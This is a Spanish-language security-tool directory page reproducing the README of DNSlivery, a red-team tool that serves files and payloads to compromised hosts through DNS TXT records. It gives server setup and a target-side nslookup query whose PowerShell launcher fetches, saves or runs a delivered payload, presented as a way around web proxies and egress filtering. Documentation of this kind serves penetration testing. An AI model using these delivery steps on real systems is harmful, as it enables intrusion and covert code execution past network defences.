Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
DNSlivery — Entrega sencilla de archivos y payloads a través de DNS | Kitploit
Herramientas/GitHubGitHub/samybaiwir/dnslivery
Exfiltración de DatosPruebas de PenetraciónComando y ControlRed TeamingAnálisis de DNS
GitHubsamybaiwir/dnslivery

DNSlivery

Entrega sencilla de archivos y payloads a través de DNS

Ver Repositorio
4267766hace 8 mesesRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

python-3.7 Known Vulnerabilities

DNSlivery

Entrega sencilla de archivos y payloads a través de DNS.

  • DNSlivery
  • Agradecimientos
  • Descripción
    • TL;DR
    • ¿Qué problema intenta resolver?
    • ¿Cómo funciona?
    • Requisitos
  • Configuración
    • Zona DNS
    • DNSlivery
  • Uso
    • Servidor
    • Objetivo

Agradecimientos

Este proyecto fue inspirado originalmente por PowerDNS y el segmento técnico de Joff Thyer en el podcast Paul's Security Weekly #590 (youtu.be/CP6cIwFJswQ).

Descripción

TL;DR

DNSlivery permite entregar archivos a un objetivo utilizando DNS como protocolo de transporte.

Características:

  • permite imprimir, ejecutar o guardar archivos en el objetivo
  • no requiere ningún cliente en el objetivo
  • no requiere un servidor DNS completo

demo-target.git

¿Qué problema intenta resolver?

Entregar fácilmente archivos y/o payloads a un objetivo comprometido donde la entrega web clásica no es posible y sin la necesidad de un software cliente dedicado. Esto aplica a entornos restringidos donde el tráfico web saliente está prohibido o simplemente es inspeccionado por un proxy web curioso.

web-delivery-blocked.png

Aunque ya existen herramientas de tunelización DNS más completas (p. ej. dnscat2 e iodine), todas requieren ejecutar un cliente dedicado en el objetivo. El problema es que probablemente no haya otra forma que DNS para entregar el cliente en entornos tan restringidos. En otras palabras, construir un canal de comunicación DNS con estas herramientas requiere ya tener un canal de comunicación DNS.

En comparación, DNSlivery solo proporciona comunicación unidireccional desde su servidor hacia el objetivo, pero no requiere ningún cliente dedicado para hacerlo. Por lo tanto, si necesita construir un canal de comunicación bidireccional confiable sobre DNS, use DNSlivery para entregar el cliente de una herramienta de tunelización DNS más avanzada a su objetivo.

¿Cómo funciona?

Al igual que la mayoría de las herramientas de tunelización DNS, DNSlivery utiliza registros TXT para almacenar el contenido de los archivos en su representación base64. Sin embargo, no requiere configurar un servidor DNS completo para funcionar. En su lugar, utiliza la librería scapy para escuchar paquetes DNS entrantes y elaborar la respuesta deseada.

network-process.png

Como la mayoría de los archivos no caben en un solo registro TXT, DNSlivery creará múltiples registros ordenados que contienen fragmentos base64 del archivo. Como ejemplo, el diagrama anterior ilustra la entrega del fragmento 42º del archivo llamado file.

Para recuperar todos los fragmentos base64 y volver a unirlos sin necesidad de un cliente dedicado en el objetivo, DNSlivery generará para cada archivo:

  • un lanzador simple en texto claro
  • un stager confiable codificado en base64

two-stages-delivery.png

Este proceso de entrega en dos etapas es necesario para añadir funcionalidades al stager (p. ej. manejo de respuestas DNS perdidas) que de otro modo no cabrían en un solo registro TXT.

Nota sobre compatibilidad con objetivos

Actualmente, solo se admiten objetivos PowerShell. Sin embargo, DNSlivery podría mejorarse para admitir objetivos adicionales como bash o python. Por favor, avíseme @no0be si esta es una funcionalidad que le gustaría ver implementada.

Requisitos

DNSlivery no requiere construir una infraestructura de servidor compleja. De hecho, solo hay dos requisitos simples:

  • poder crear un registro NS en su zona DNS pública
  • tener un servidor Linux capaz de recibir tráfico udp/53 desde Internet

Configuración

Zona DNS

El primer paso es delegar un subdominio al servidor que ejecutará DNSlivery creando un nuevo registro NS en su dominio. Como ejemplo, creé el siguiente registro para delegar el subdominio dnsd.no0.be al servidor en vps.no0.be.

root@kitploit:~
dnsd    IN  NS vps.no0.be.

Si su zona está gestionada por un proveedor externo, consulte su documentación para crear el registro NS.

DNSlivery

Los únicos requisitos para ejecutar DNSlivery son python3 y su librería scapy.

root@kitploit:~
git clone https://github.com/no0be/DNSlivery.git && cd DNSlivery
pip install -r requirements.txt

Uso

Servidor

DNSlivery servirá todos los archivos de un directorio determinado (pwd por defecto) y necesita ejecutarse con privilegios de root para escuchar paquetes udp/53 entrantes.

root@kitploit:~
usage: dnslivery.py [-h] [-p PATH] [-s SIZE] [-v] interface domain nameserver

DNSlivery - Easy files and payloads delivery over DNS

positional arguments:
  interface             interface to listen to DNS traffic
  domain                FQDN name of the DNS zone
  nameserver            FQDN name of the server running DNSlivery

optional arguments:
  -h, --help            show this help message and exit
  -p PATH, --path PATH  path of directory to serve over DNS (default: pwd)
  -s SIZE, --size SIZE  size in bytes of base64 chunks (default: 255)
  -v, --verbose         increase verbosity

Ejemplo:

root@kitploit:~
$ sudo python3 dnslivery.py eth0 dnsd.no0.be vps.no0.be -p /tmp/dns-delivery

DNSlivery - Easy files and payloads delivery over DNS

[*] File "file" ready for delivery at file.dnsd.no0.be (7 chunks)
[*] Listening for DNS queries...

Nota sobre la normalización de nombres de archivo

Como el conjunto de caracteres permitido para nombres de dominio es mucho más restrictivo que para nombres de archivo UNIX (según RFC1035), DNSlivery realizará la normalización cuando sea necesario.

Ejemplo:

root@kitploit:~
[*] File "My Awesome Powershell Script ;).ps1" ready for delivery at my-awesome-powershell-script----ps1.dnsd.no0.be (1891 chunks)

Tenga en cuenta que el código de normalización actual no es perfecto, ya que no tiene en cuenta nombres de archivo superpuestos ni el límite de tamaño.

Objetivo

En el objetivo, comience recuperando el lanzador del archivo deseado solicitando su registro TXT dedicado. Se admiten los siguientes tres lanzadores:

root@kitploit:~
nslookup -type=txt [filename].[stager].[domain]

Luego, simplemente copie y pegue el lanzador citado en la respuesta DNS en una consola PowerShell para recuperar el archivo en el objetivo.

Ejemplo:

demo-target.git

Descargar herramienta
AcciónLanzadorDescripción
Imprimir[filename].print.[domain](Predeterminado) Imprime el archivo entregado en la consola
Ejecutar[filename].exec.[domain]Ejecuta el archivo entregado (útil para scripts)
Guardar[filename].save.[domain]Guarda el archivo entregado en disco (útil para binarios)